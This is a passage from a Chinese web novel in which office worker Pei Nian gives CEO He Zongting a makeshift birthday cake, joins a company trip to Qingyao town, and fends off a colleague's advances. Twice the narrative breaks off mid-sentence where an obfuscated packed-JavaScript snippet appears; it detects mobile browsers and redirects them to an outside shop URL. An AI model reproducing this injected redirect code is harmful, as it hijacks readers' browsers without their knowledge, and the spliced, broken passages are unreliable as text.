原来贺宗霆是这样才被接回的贺家,裴念讷讷地想。 哭声还在继续,裴念却再听不出一点难过,她端起托盘进了办公室。 “对不起贺总,茶具出了点小问题,耽误您时间了。”她把托盘放到缪静身前的桌上,端出一杯放到了她面前。 缪静用纸巾揩了揩满脸的泪痕:“谢谢。” “不客气。”裴念朝书架上的钟表看了一眼,礼貌地提醒道:“还有一分钟。” 缪静表情僵住,局促地放下茶杯,却没有起身的意思。 贺宗霆视线已经转移到了资料上,像是处理一件无足轻重的小事般对裴念说:“送完客,把你们组的拟案拿上来。” “好的贺总。”裴念对着缪静朝大门处伸了伸手:“这边请。” 缪静捂了捂哭的通红的眼睛,终于站起了身。 裴念离开时,目光从餐盒上扫过,里面装的只是摆放整齐的西蓝苔。 大家都猜错了,贺宗霆的生日,不仅没有蛋糕,也没有长寿面,只是一盒看起来没有任何味道的蔬菜。 / 送缪静出了大楼之后,裴念到工位收拾完资料再次上楼。 今天加班的人不多,她们部门也仅她一个,电梯很快就到站,金属门缓缓打开,裴念却没进去。 等门再次阖上后,她又返回办公室,到茶水间去从冰箱里取出了她的那份蛋糕,小心翼翼端着上了楼。 听到敲门声后,贺宗霆头也没抬:“进来。” 脚步声越来越近,一个文件夹放到桌上,裴念说:“贺总,你要的文件。” “嗯。”贺宗霆笔下没停,余光却看到裴念没走,手上好像还端着个东西。 签字的动作停下,他抬头,看到裴念手中端着的是个切面不太整齐的奶油蛋糕,裱花因为时间长的缘故,又些化了。 “?” 他冷峻地挑起眉毛。 裴念吞了吞喉咙:“你要不要吃蛋糕?”她语气带着浓浓的不确定,手上却已经把盒子放在了他桌上。 贺宗霆转了一下钢笔:“听到缪静的话了?” 裴念绞了绞手指:“对不起,我不是故意要听的。”其实是缪静声音太大,她在外面不得不听见。 但不论怎样都是她误听到了他的秘密,裴念歉然地指了指蛋糕:“就当是我给你的赔罪。” 贺宗霆眯了下眼:“用别人给的蛋糕?” 裴念窘然地抿了抿唇,提议:“那我给你买块儿新的?” “不用,我不吃。”他说完继续签字。 裴念怔了下,指尖在蛋糕盒子上戳了戳:“吃吧。过生日就是得吃蛋糕啊。” 贺宗霆签下最后一个字,啪地撂下钢笔,靠在椅背上问:“既然是生日蛋糕,没有蜡烛?” 裴念被问住了,左右看了看,突然有了主意,指着他的手边说:“你的打火机我能用一下吗?” 贺宗霆微微颔首,浅色的眸子审视地打量她,看她究竟要搞什么鬼名堂。 裴念拿到打火机之后先按下砂轮试了试,确定火光正常,她小跑到门边,关上了顶灯,然后又小跑回办公桌前,再次按下了砂轮。 偌大的房间内,此刻只有她手中两着个火苗。 她一手按着打火机,一手护着火光,在他眼前停下。 “许愿吧。” 贺宗霆自己虽不过生日,但没少参加朋友的生日宴,各种奢华新奇的仪式都见惯,这是他第一次见这么简陋的仪式。 裴念却满脸真诚,煞有介事地追问他:“许完了吗?” 贺宗霆点了下头。 裴念就满意地弯起了眼睛:“那吹蜡烛吧。” 贺宗霆觉得这动作可笑又幼稚,可裴念执着地盯着他,仿佛他不这么做,就成了十恶不赦的罪人。 他只得按照要求吹了下。 裴念连忙笨手笨脚地松开砂轮,火苗沉寂下去。 黑暗中只能隐约辨认出物体的轮廓,裴念看着眼前沉默高大的身影,认真说出了她的贺词:“你生日快乐贺宗霆,祝你在新的一岁里好运常伴,遇到更值得的人。” 啪嗒—— 眼前骤然大亮,贺宗霆按下身侧墙上的开关,顶灯再次恢复运作。 “更值得的人。”他好整以暇地掀眸:“你是说你?” 误会突如其来,裴念瞬间脸热,红着耳朵解释:“我可不是这个意思,这只是个祝福词,场面话你懂不懂啊?不是谁说谁就有这个意思的。” 贺宗霆:“我很少听。” 裴念胸口又闷了闷,好心地补充:“反正就是祝你越过越好的意思。” “蛋糕记得吃,我还有工作要忙。”她说完要走。 贺宗霆却仍没急着打开蛋糕盒子,而是问她:“你刚刚是以什么身份给我过生日?” 经过上次越界后尴尬的经历,裴念立刻说:“当然是以员工的身份啊,贺总。” 贺宗霆了然:“你作为一个员工,借着送文件给总裁送蛋糕,还把灯给关了。 裴念:“…………” 贺宗霆追问:“是这样吗?” 欺人太甚,自己好心好意却换来他的恶意评判。 裴念骑士兵的热潮消退,只觉得自己可怜,贺宗霆还不依不饶地看着她,她只好干巴巴地为自己辩解:“不是的…” 贺宗霆又问:“所以你是以朋友的名义对吗?” 裴念自暴自弃道:“如果你同意的话。那就算是吧。” “明白了。”贺宗霆拆开蛋糕的塑料包装,看着她的眼睛说:“裴念,谢谢。” 12. 第 12 章 贺宗霆说完坐回了椅内,抬手打开了壁灯,霎时间房间内大亮。 模糊暧昧的气氛瞬间消散。 他肯定是疯了。 听到贺宗霆的话,裴念脑子里只有这一个念头。 她在脑海中快速回忆了一遍这一个月来和贺宗霆相处的场景,如果说实在有能让他误会成爱慕的事情,那就只有今天她送蛋糕这一件事。 毕竟作为一个普通员工来说,工作时给老板送蛋糕确实是不妥的行为。 裴念第一次恨自己爱多管闲事,她吞了吞喉咙,攒拳看向好整以暇的贺宗霆:“贺总,如果我今天的行为让你误会了什么,你一定要听我解释,我做事有时会欠考虑,给你拿蛋糕真的只是顺手而已,换成其他同事,我也会这么做的。” 贺宗霆不知道是不信还是什么,眉尾冷冷挑起:“是么?” “当然!” 事实上,如果是其他同事,裴念会直接买一个新的蛋糕送给别人。 怕贺宗霆不信,她煞有介事地做了个发誓的手势。 贺宗霆本意就是提醒裴念别总有恃无恐地撩他,目的显然已经达到。 他却因裴念急于撇清关系的态度有些不满,其中原因他莫名不想深究。 贺宗霆此刻只想看看一个月后和她见面,裴念到时候要如何收场。 裴念清了清嗓子,打断他的沉思:“要是没其他事我就先下去了。” 贺宗霆刚点头,裴念没有任何犹豫,拿起蛋糕快速出了他的办公室。 办公室恢复到原样,贺宗霆目光朝原本放蛋糕的角落扫了眼,抿直了唇角。 / 紧锣密鼓地加了一周的班,各个组的初方案都被打了回来,总监毫不留情地痛批俗套无新意。 从会议室出来,办公室内弥漫着淡淡的死气,但这股死气很快被群内发的团建消息驱散。 杨泽:【本周五去清尧镇团建,为期三天,具体以行政发的文件为主。】 韩泽原本正有气无力趴在工位刷手机,看到这条消息一个鲤鱼打挺活了过来:【啊啊啊啊啊啊啊啊啊啊啊啊啊】 张芮之紧随其后:【哦哦哦哦哦哦哦哦哦哦哦哦】 裴念:【真好啊!我工作又有动力了!!】 杨泽:【真好啊我还有个没有返祖的组员。】 不止他们组在欢呼,其他组也是一派闹腾的景象,甚至有执行力强的已经做起了旅游攻略。 热闹的气氛一直持续到下班,接下来的两天各部门赶了赶手头上的工作进度,周四下午所有人准点下班,早早回家睡觉,赶明天一早的飞机去清尧镇所在的宜城。 清尧镇的八月正是最热的时候,既然是游玩,裴念就没有顾忌,挑了一些清凉的夏装放进了行李箱。 收拾完行李,又给大壮准备好足量的猫粮和猫砂,裴念才依依不舍地抱着大壮躺进了被窝。 她近些日子加班多,回到家逗大壮的时间骤减,平常对她爱答不理的大壮变了性一样,开始任她为所欲为。 裴念把脸埋进大壮柔软的下巴,猛吸了一口,听到呼噜声即将变调才稍稍离开,摸着它的脑袋给他抓痒。 大壮舒服地发出低沉的咪呜声,裴念听得骨头发酥,拍了几张实况发给了H。 【听到了吗?知道我要出差,孩子不舍地叫我妈妈呜呜】 贺宗霆关上床头的灯,放在床头柜上的手机亮起了屏幕。 时间快到零点,一般没人在这个时间给他发消息,他犹豫了一秒,还是拿起来,黑暗中露着獠牙的丑猫低哑着嗓子冲着屏幕叫,他的眼睛和耳朵不约而同地发出了抗议。 贺宗霆退出图片:【别发疯】 裴念想象着H说这话的无奈语气,勾着唇角意有所指地说:【可惜它没有爸爸,不然我不在家的时候就有人能照顾它了(叹气)】 H:【睡觉,梦里给它找一个】 nn:【……】 翌日,裴念起床简单收拾了一下就打车去机场,到机场的时候已经人满为患,上候机厅的电动扶梯排满了人,她不想跟人挤,拎着行李箱爬步梯。 她还没来得及吃早饭,爬一段就得停下来休息片刻,她也不着急,龟速拖着行李箱挪动,到了最后一段台阶的时候,行李箱忽然变轻,她开始以为是错觉,走了两步才发现不对,转过头去,果然有个人在帮她抬箱子。 裴念看来人眼熟,还未想起是谁,男人空出一只手指指自己:“财务部的唐旭,之前在餐厅一起吃过饭。” 裴念了然地点点头:“想起来了,谢谢你啊。” “小事,你直接给我吧。”唐旭说着从她手里拿过提手,一口气上到了大厅,等她上来后,又很有分寸的把提手拉上来,推给她。 裴念再次道谢,和他说着话一起去候机厅。 行政部提前订了早餐,几个同事手拎几个咖啡店的纸袋,放在空凳子上之后,唐旭热心地过去帮忙分发,率先给了在他身后的裴念一份贝果。 裴念匆忙咬了口,鼓着腮帮和他一块儿发早餐。 发完贝果,开始发咖啡,手上还剩几杯的时候,他们迎面和正要去商务舱的高理打了个照面。 知道商务舱休息室什么都提供,唐旭还是礼貌地问了句:“高助,你和贺总喝咖啡吗?” 高理朝纸袋上扫了眼,见是贺宗霆常喝的品牌,便点了点头:“有不甜的吗?” 裴念依次查看咖啡的标签,把其中一杯拿给他:“无糖意式浓缩可以吗?” 高理接过去:“可以,谢谢了。”说着便走进休息室,把咖啡放到了门边沙发上坐着的贺宗霆桌前。 裴念手中还剩下两杯咖啡,正好同唐旭一人一杯,她把两杯都举起来,把标签拿给唐旭看:“你看看喝那杯?” “你想喝哪个?”唐旭反问。 裴念:“我都行,甜一点的OK。” “这两杯糖度一样。”唐旭随便拿走一杯,笑道:“好巧,我也爱喝甜一点的。” 合作这一会儿,他们已经熟悉,有说有笑地回了座位。 贺宗霆朝休息区外看了眼,把只喝了一口的咖啡放回了桌面。 / 到宜城已是中午,坐酒店的车到达清尧镇之后,大家分配好房间简单吃了饭,下午自由活动。 裴念和张芮之还有其他部门的几个女同事一起到镇上逛街,张芮之在飞机上临时做了攻略,带着她们直奔租售当地民族服饰的店铺,一通化妆打扮后,到热门的磷湖景点去拍照。 裴念的拍照技术得到了一致好评,她也乐意琢磨这些,将近一个小时,一直是她拿着相机在拍。 太阳渐渐西斜,几个女同事意识到裴念还没拍几张,赶忙让出地方,把裴念移动到风景中心,一起抄起手机给她拍照。 当地的服饰都以亮色为主,裴念穿的是明黄收身短衫,嫩绿浮纹桶裙,衣服恰到好处地展露出她玲珑的腰身,加上她那张淡然清丽的面孔,站在湖边,自然的仿佛就出生自清尧。 一同事边拍边由衷地感叹:“这衣服还得是大美女穿,随手一拍就是宣传画。” 正说着,连经过的游客也忍不住驻足观望。 裴念架不住被人围观,拍了没一会儿就下来。 晚上公司在酒店聚餐,时间还早,她们互相传完照片,溜达着往酒店方向回。 习惯了快节奏的生活,走了没一会儿,同事们已经把修好的九宫格发到了朋友圈,裴念挨个给她们点赞。 张芮之见裴念朋友圈没动静,问道:“念念,你的怎么还不发?” 其他同事附和:“快点发我要给你点赞!” 和H聊天以来,为了不暴露身份,裴念没有发过露脸的照片,她找借口道:“我没有发朋友圈的习惯。” 张芮之遗憾道:“我把你拍得超美,不发出去好可惜啊。” 裴念心里一动,翻了翻同事传给她的照片,看到有一张没拍到脸的背影照。 趁着同事们在买银饰的小摊前停驻,她点开那张照片,发给了H。 酒店咖啡厅的落地窗正对远处的山景,高理难得清闲,喝着咖啡刷起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329955|198240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了朋友圈,看到女同事发的美照感概了一句:“咱们公司的女孩真是漂亮,拍照技术也是相当厉害。” 坐在他对面的贺宗霆掀眸看了眼他的屏幕,又兴致缺缺地移开,不多时,他拿起手机翻了几下,又很快放下。 手机却在这时亮起屏幕,他再次拿起手机,解锁后看向屏幕,这下停留了好几秒。 应该是工作信息,高理笃定的想。 贺宗霆退出照片,nn又发来一条文字:【磷湖是不是很美?】 他顿了下,再次打开那张照片,从照片中那截纤长洁白的后颈边看到了一小片湖。 碧绿色,懒懒地窝在她薄薄的肩上。 退出照片时误触了一下,蹦出了保存界面,贺宗霆看了少顷,没有点保存。 民族服饰好看归好看,但行动起来不算便利,回到酒店后裴念换上连衣裙,才和张芮之去餐厅吃饭。 下电梯时,她才收到H的回应,只有一个简单的嗯。 看起来对美景和她都没有兴趣的样子。 裴念暗暗撇嘴,他可真难撩。 / 餐厅今晚清场,只为他们公司服务,不知道花了多少钱,员工差不多到齐后,竟然有管弦乐队进来表演。 清尧镇的夏夜仍然闷热,餐厅里冷气开得很足,裴念穿的是件吊带的长裙,坐下没一会儿就觉得冷。 她本想上楼去拿件针织衫穿上,但她坐的位置靠里,一动要麻烦四五个人起身,她想着聚餐吃不了太长时间,干脆就忍一会儿。 虽说这么想,但皮肤到底是被吹得发凉,她本能地抱起了手臂。 公司高管坐的那一桌有人叫服务员,裴念抬眸望去,看到服务员快步走到贺宗霆身侧,听他说完脸上露出歉意地神色。 可能是哪道菜不符合他的胃口。 裴念从椅子内起身想叫住服务员,可服务员从旁边那桌离开后就径直朝大门走去。 她沮丧地坐了回去,却见那名服务生在门边的控制面板前停下,将空调温度调高了几度。 头顶出风口的风速立即慢了下来,裴念下意识又朝贺宗霆看了眼,他穿着件宽松的黑T,修长的手臂搁在扶手,神色平淡地听旁边人说话,看起来不像冷的模样。 坐在她旁边的张芮之忽然拍了下她的肩膀,递给她一件薄卫衣外套:“唐旭给你的。” 裴念没接,在她斜对面坐着的唐旭叫她:“你穿吧,我不小心穿多了正热呢。”除去外套,他上身就只剩下一件无袖的运动背心。 他一说话,引起周围男同事的调侃:“唐哥我也冷,怎么不见你给我衣服穿。” 唐旭往那人脑袋上拍了下:“你一个大男人怕什么冷。” 那人被他一揍,嬉笑着帮他说话:“裴念你就穿上吧,这小子抗冻。” 裴念怕再引起议论,谢过后拿过了唐旭的外套,不过没穿,只是搭在腿上意思了下。 饭吃到一半,张芮之摸着滚圆的肚子叫裴念陪她去外面散步,坐得发闷的裴念欣然答应,起身时又有两个女同事加入她们的队伍。 出去前,裴念顺便把唐旭的外套还给了他,出了餐厅,裴念注意到手背上有吃饭时溅上的果汁,黏在皮肤上很不舒服,她让张芮之她们在酒店大门等一下,她去洗手间清洗。 走廊及洗手间的空调温度并未调整,裴念来回走动片刻,裸露的皮肤绒毛纷纷立起。 从洗手台离开时,她甚至还打了个喷嚏,她拿纸巾捂着鼻子下到走廊,余光瞥见落地窗边抽烟区的高大身影,脚步倏地顿住。 贺宗霆把抽了几口的烟按灭在垃圾桶上的网格内,侧目瞥向她:“还冷?” 裴念还保持着捂着鼻子的动作,脑子没反应过来地“嗯?”了一声。 瓮声瓮气地。 贺宗霆转过身来,把臂弯内搭着的衬衫扔了过来。 裴念怔怔接过,又很懵地“啊?”了一声,这次声音大了些,很是疑惑。 贺宗霆却不是很想和她交流,转身离开前只淡声撂下三个字:“穿这个。” 13. 第 13 章 裴念自然明白他只是体恤下属,但还是想说不用了。 她可不想被同事撞见,再误会她和贺宗霆有什么。 老天便要和她开玩笑,还没等她动作,张芮之就出现在了走廊。 她们左等右等等不来她,张芮之干脆直接到洗手间来找。 张芮之看到贺宗霆也没觉得意外,这边本来就是吸烟区,她礼貌的打声招呼后,去拉裴念的手。 “你墨迹什么呢?大家都等你呢。” “就…洗手。”裴念跟着她走了两步,把怀里的衬衫藏了藏。 张芮之还是看见了,调笑着说:“你还拿着唐旭的外套呢?整这么暧昧。” 唐旭的外套和贺宗霆的衬衫都是黑色,张芮之不仔细看认错也正常。 裴念将错就错:“忘记还他了…” 张芮之扬起眉梢:“我懂我懂。” 拐出走廊的时候,裴念听到打火机砂轮的摩擦声,偏头看了一眼。 贺宗霆还站在那里,又点上了一支烟。 瘾还真大。 / 她们从外面回来,聚餐已经结束,裴念没有找到机会把衬衫还给贺宗霆,到房间之后就先找袋子装了起来。 睡前裴念看到公司大群内有人组织明早去山上看日出,觉得能起来的同事都说要去。 裴念和张芮之刷到网上的美图,也凑热闹报了名,因为要凌晨起床,她们洗完澡便早早睡下。 凌晨四点半,闹钟准时响起,裴念揿亮床头的壁灯,揉着眼睛从床上爬起来,然后去隔壁床叫一动也不动的张芮之。 她先是隔着被子晃着她的肩膀叫她的名字,张芮之哼唧着把脑袋又往被子里缩了缩。 裴念见叫不醒,便掀开了一角被子,去捏她的脸,察觉到她皮肤过热的温度,她意识到不对。 不再顾忌什么,裴念强硬的把她叫醒,从医药包里找到温度计给她量了一下,三十八度二,果然是发烧了。 张芮之勉强撑开眼皮,哑着嗓子说:“头好晕…” “你发烧了。”裴念把两个枕头塞她背后让她坐直,给她拿药和水:“吃完药再睡。” 张芮之蔫答答地拿过药片,又就着她的手喝水服下,重新躺回被窝里时,才想起来她们本来要去做什么:“你别管我了,赶紧下楼和他们去看日出吧。” “我也没那么想去,你睡吧,不舒服了叫我。” 张芮之感激地握了一下她的手:“谢谢你念念。” 裴念把灯调到最暗,看了会儿手机,等张芮之呼吸均匀后,把灯一关,又补了一觉。 再睡醒天已经大亮,阳光从窗帘缝隙里洒进来,昭示着今天的好天气。 裴念起床先去检查了一番张芮之的病情,烧已经退了,但还没睡醒,裴念没打搅她,轻声洗漱完就去了餐厅吃早饭。 餐厅已经坐了不少人,裴念取完餐,找了个安静的角落坐下吃,顺便刷会儿手机。 去看日出的同事们还未回来,日出的美照已经刷屏朋友圈。 连绵的青山上,金光闪闪的太阳照亮苍穹,光是看照片就能感受到那种壮阔的意境。 裴念找H发牢骚:【今天本来要去看日出,有事耽搁了就没去成,好遗憾啊】 H:【以后还有机会】 裴念:【但别人不一定有时间啊,我可不想自己去】 H:【想让我陪你?】 H罕见的接了招,裴念又不好意思起来:【我可没这么说】 H:【可以】 裴念喝水的动作一顿,险些呛住。 她这是撩成功了?! 向来不解风情的H居然主动提出要陪她看日出,浪漫到裴念开始飘飘然,吃完饭也不想回房间。 她拿着手机溜达到花园,却无心欣赏开得正好的花簇,走几步就要看看和H的聊天记录,时不时发出一声傻笑。 唐旭不知道从哪冒出来,走到她身后:“看什么呢?这么开心?” 裴念见是他,收起手机,清清喉咙道:“看到一个搞笑视频。” “你也没去爬山?”她问。 唐旭挠了下后脑勺:“我真起不来,我记得你昨天在群里报名了,怎么也没去?” 裴念简单说了下张芮之的情况。 唐旭朝一楼的台球室指了指:“我们打台球呢,你要是没事一起玩呗。” 闲着也是闲着,裴念点头:“好啊,不过我不太会玩。” 自上次和顾免去保龄球馆,裴念对一切竞技球类都产生了兴趣。 唐旭无所谓的耸耸肩:“我也不太会,就是瞎玩儿。” 到了台球厅,裴念上手和唐旭打了几下就知道他刚刚那句瞎玩绝对是谦虚。 裴念被打得节节退败也不气馁,认真观察唐旭击球的动作要点,再进行模仿学习,几次下来倒真像模像样。 看她稳稳击进一个球之后,唐旭给她比划了一个大拇指:“进步很快。” 裴念笑了笑:“是你示范的好。” 唐旭看着她的笑容勾起嘴角:“要不你过来,我教你几招?” 裴念绕着球桌过去:“可以啊,那我以后就敢出去打了。” 唐旭正教她击球的姿势,隔壁桌的男同事喊他:“唐旭你来跟他打两局,这厮太莽了我换个人玩。” 唐旭犹豫看着裴念。 裴念表示没关系:“你去,我正好想看看高手过招。” 唐旭被她奉承的话搞得脸热:“你还站我旁边,我打的时候顺便也能教。” 下山的车上,高理聊到酒店有台球室,副总就摩拳擦掌想和贺宗霆切磋一下球技。 “贺总,咱们等下打几局?” 贺宗霆嫌酒店台球室狭小,敷衍道:“我还有个工作电话,改天。” 进酒店大堂要穿过花园,还能瞧见台球室内热闹的场景,副总上台阶时又忍不住问了一遍:“贺总,真不玩会儿?” 贺宗霆双手插兜,视线从台球室内热闹的场景掠过,改了主意:“玩玩也行。” 听到同事打招呼的声音,几张球桌上的人都朝门口看去。 经常和副总周末约球的费总不由分说把他拉了过去:“我正念叨你呢,你正好来了,赶紧陪我打一局。” “诶——”副总扯正自己的领口:“你先别急,等我先和贺总切磋一下。” “没事,我先找别人。”贺宗霆目光越过人群,最后落在裴念脸上:“会打吗?” 厅内除了裴念确实没有闲着的人,她只好说:“会,不过打得一般。” 副总已经上桌,还不忘提醒她:“贺总斯诺克可是专业水平,小裴你可得加把劲儿。” 裴念闻言点点头,接过贺宗霆递来的球杆时略有迟疑。 唐旭以为她紧张,给她打气道:“加油,刚刚教你的技巧正好能用上。” 裴念冲他笑了下:“希望不会给你丢脸。” 好歹也练习了一会儿,她上球桌时还挺有自信,想着在大家面前展示展示。 结果没几分钟,她就被贺宗霆打得落花流水,别说运用唐旭交给她的技巧,基础的动作都变了形。 贺宗霆将最后一颗球打进球袋,淡声问她:“刚刚都学什么了?” 裴念:“……” 这么大的集团总裁,和下属打球胜负欲也能强成这样,赢完居然还讽刺她。 裴念抿着唇幽怨地看着他,心想他以前也不这样啊。 贺宗霆心情很好的样子,球杆在她手旁的台面上轻轻敲了下:“再玩一局,我来教。” 裴念已经丧失了对这项运动的热情:“我不玩了,换其他人吧。” 刚刚他们打的时候,又有几个同事进来站在一旁围观,裴念把球杆交给站她旁边跃跃欲试的一个同事。 走的时候,正好路过唐旭,裴念顺便和他说了声。 唐旭没勉强让她留下,点头道:“下次再一起玩。” 裴念嗯了一声出了台球室。 / 张芮之昏天黑地睡了十几个小时,起床后病情已然好转,中午吃完饭,没耽误下午和大家一起出去玩。 她们去的是清尧镇有名的商业街,长巷内的建筑是当地特色建筑,买的商品也多是带有民族色彩的手工艺品。 大家进去就挑花了眼,各自挑选伴手礼,准备带给家人朋友。 裴念给顾免拍了些礼品的照片,问她有没有喜欢的,注重时尚的顾免却嫌太朴素,只让她带点吃的给她就行。 裴念回她说好,给她买了两大袋特色零食。 逛到一家编织的手工艺店,其他同事没喜欢的就去了对面店铺,裴念被一条紫色串珠手链精湛的手艺所折服,纵使没有戴首饰的习惯也忍不住问了价格。 戴着发带的长发男店主从工作的桌前抬头看了眼:“两千三。” “这么贵。”裴念下意识感叹。 店主啧了声,从工位上起身,拿起手链和她介绍:“珠子都是进口的,这些小配件是足银的,最重要的一点,这是我原创设计的,外面买不到。” 裴念“哦”了一声,拿起手链上的吊牌看了看:“结缘系列。” 店主抬手把上面展柜里的金色串珠手链拿出来给她看:“这两条是一对儿。” “我去开过光的,我们这儿的月老庙你应该听说过,很灵。” 裴念记得黄昇就爱戴一些金色的饰品,她把金色那条手链也拿到手里,怎么看怎么般配。 她咬咬牙,问:“两条最低多少钱?” 从店里出来后,裴念马不停蹄地给H发去了信息:【我给你买了个礼物】 H:【是什么】 裴念把金色的那条手链拍给他看:【我看到这条手链就想到了你,你喜欢吗】 H的关注点却在别的地方:【盒子里那张符是做什么的?】 是店主放进去的月老庙求来的姻缘符,裴念抿着唇回:【是保佑事业和健康的符,店主说很灵验,所以等之后我送给你,你一定要戴。】 第一次说诓骗人的话,裴念有些紧张。 她怕H涉猎领域太广,从而把她揭穿。 好在H对这些并没有研究,很是信任地说:【知道了】 逛完整条商业街的时候,大家手里都提了不少伴手礼,到酒店时看到街边摊位都没力气再逛。 张芮之被一个卖钩针玩偶的小摊吸引,拉着裴念一块挑,钩针玩偶并不稀奇,但这个小摊卖的显然不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333845|198240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是流水线产品,玩偶融合了当地的特色,很是生动。 裴念和张芮之一人挑选了一个,结账时张芮之觉得太贵,犹豫着说不买了。 裴念看她依依不舍的样子,拿起手机扫码:“我给你买吧,就当庆祝你发烧痊愈。” 张芮之感动地抱住她,但没好意思让她付钱,捂着她的手机问老板:“再便宜点吧,两个一百我就买。” 店主皱眉摆手:“姑娘,最低一百二,行你就买,不行上别家看看去。” 张芮之:“不然一百一…” 拉扯间,她们身后传来扫码的嘀声,两人诧异回头,唐旭举着手机把钱付了:“我请你们。” “不用。”裴念说着打开付款码:“我把钱转你。” “别跟我客气。”唐旭说着大步朝同伴跑去,把她们落在了身后。 “……”张芮之露出姨母笑:“他这是对你献殷勤呢。” 裴念头疼:“走,我去把钱还给他。” 张芮之把自己的那份转给裴念:“顺便带上我的。” 裴念她们加快脚步,终于在酒店大堂追上唐旭的脚步,裴念严肃地叫住他:“唐旭,你打开收款码,我把钱转你。” 唐旭笑道:“都是同事,干嘛这么客气?” 裴念温声:“就是因为是同事才要客气啊。” 见她坚持,唐旭只好把手机拿了出来,打开的却是微信二维码:“你直接加我好友吧,以后还能约着打个球。” “行。”裴念也没矫情,加上后把钱转给他:“你收一下。” 唐旭身后站着的几个男同事会心一笑,等唐旭过去后笑骂他有手段。 / 明天是露营的第三天,公司组织去云山露营,不用早起,几个房间的同事凑到裴念他们房间来打牌。 裴念玩了一会儿觉得坐的僵硬,起身到落地窗前伸展,看到中层的露天泳池这会儿没人,心痒想去游一会儿。 同事们正打到兴头上,都懒得起身,她只好自己拿上泳衣下楼。 在无人的泳池内游了两圈之后,裴念上到岸边休息,喝水时,放在桌子上的手机响了下。 她以为是H,高兴拿起来,却发现是唐旭。 【在哪呢?】 裴念迟疑了下,还是如实道:【泳池这边】 唐旭:【我方便过来吗?】 裴念回:【这是公共泳池】 唐旭回了他一个ok,五分钟后,他出现在了泳池边。 裴念在泳衣外面套了件衬衫,正坐在躺椅上给H发刚刚拍下的月亮:【今天没骗你,月色真的很美】 唐旭坐在她旁边的椅子:“在做什么?” H还没回,裴念放下手机:“追人。” 唐旭顿了好一会儿,失笑道:“所以我这是来晚了?” 裴念给他递了瓶水:“不好意思啊。” “没事,我这还没挑明就被你拒绝了,不丢人。”唐旭爽朗地抛了下水瓶。 裴念因他洒脱的态度放松下来:“那就好。” 唐旭喝了口水,好奇道:“说实在的,我挺想知道能被你看上的是什么人?” 裴念扣着自己的手机壳,不好意思地笑了下:“是个很温柔的人,还没追上,所以保密。” 唐旭明白的点头:“那你加油。” 挑明之后,唐旭再和她说话便有了分寸,正好在泳池,便和她讨论起游泳的技术问题。 裴念从小跟着退休的国家队教练学游泳,看唐旭游得吃力,还给他提出了一些优化动作的思路。 暧昧的试探变成了技能的交换,气氛反倒轻松愉悦了很多。 很快他们便引起了在顶楼喝酒的同事的注意:“那不是唐旭吗?我说他怎么不来和我们喝酒,感情是泡妞去了。” 又和裴念相熟的女同事小江看出和唐旭游泳的人是她,反驳道:“人家俩不就是在游泳吗?到你嘴里成泡妞了。” 那人说:“唐旭晚饭的时候亲口告诉我们今晚要和裴念表白。” 小江撇嘴:“表白怎么了,追裴念的人多了去了,她从来没理会过。” 目睹唐旭下午骚操作的同事道:“这次不一定,裴念今天都加唐旭好友了,我觉得有戏。” 小江不说话了。 听完八卦的副总看热闹地朝楼下的泳池看:“之前李总在的时候下令不让办公室恋爱,当时公司上下冷冰冰的没有人情味,现在放开了多好,多热闹啊。” 贺宗霆不置可否地喝了口威士忌,视线定在泳池。 裴念穿着连体式的泳衣,蹲在岸边帮唐旭调整划水的姿势,唐旭游了一圈回来,笑着和她说话。 裴念就也笑了,眼睛弯起来,露出一排糯米般的小白牙。 给他发消息的时候未必笑得这么开心。 高理接到合作方的电话,说了几句后,快步走到贺宗霆身侧示意他接电话。 贺宗霆起身到酒吧外接听,聊完后,吩咐高理把对方需要的文件整理之后发过去。 “整理完先发给我。” “明白。”高理点头,正欲离开,却被他叫住。 贺宗霆思忖了几秒,才说:“给裴念发信息,让她把衣服送到我房间。” 14. 第 14 章 裴念收到高理的短信时还以为他发错了,可短信内容清清楚楚,甚至还附上了贺宗霆的房间号。 想着早点还给他也好,省的回了京市再找不到机会,裴念和唐旭说有事,就回了自己房间,换了身衣服,头发都没来得及吹,拿上装衬衫的袋子去了贺宗霆的房间。 套房的这一层入住的客人不多,走廊清幽,裴念沿着墙上的指示牌找到他的房间,揿响了门铃。 房间内逐渐传来脚步声,门开的时候,裴念把抱在胸前的纸袋递了过去。 “不好意思贺总,衬衫我还没来得及洗。” 贺宗霆接过纸袋,却没朝里面看一眼:“去游泳了?” 裴念摸了摸挽在脑后潮湿的头发:“是的。” 贺宗霆难得有闲心,居然和她聊起了天:“酒店十二点给泳池清洗。” 裴念不知道他这话什么意思,点点头道:“这样啊。” “所以这个时间段水最脏。”他用平淡的语气说出令人胆颤的话。 裴念大惊失色:“我刚刚游了很久,身上会不会沾上很多细菌?”她焦急地搓了搓自己的手臂,仿佛在搓看不见的细菌。 贺宗霆给出建议:“现在去洗个澡应该就没问题了。” 裴念稍稍放松下来:“那我赶紧去了。”她转过身,想起什么,又转头对还未关上门的贺宗霆说:“谢谢你提醒我。” 贺宗霆抬了下唇角,语气正经:“应该的。” / 第二天仍是晴空万里,众人在酒店吃完早饭就回房间收拾好行李,坐车前往今晚的露营地。 几个小时后大巴车停在云山的下的山谷的溪边,绿树环绕,水流清澈,风景极为秀美,因为是社交媒体上目前最火热的露营地,他们下车时,附近已经扎起了一些帐篷,不少游客和当地的村民正在溪边玩耍。 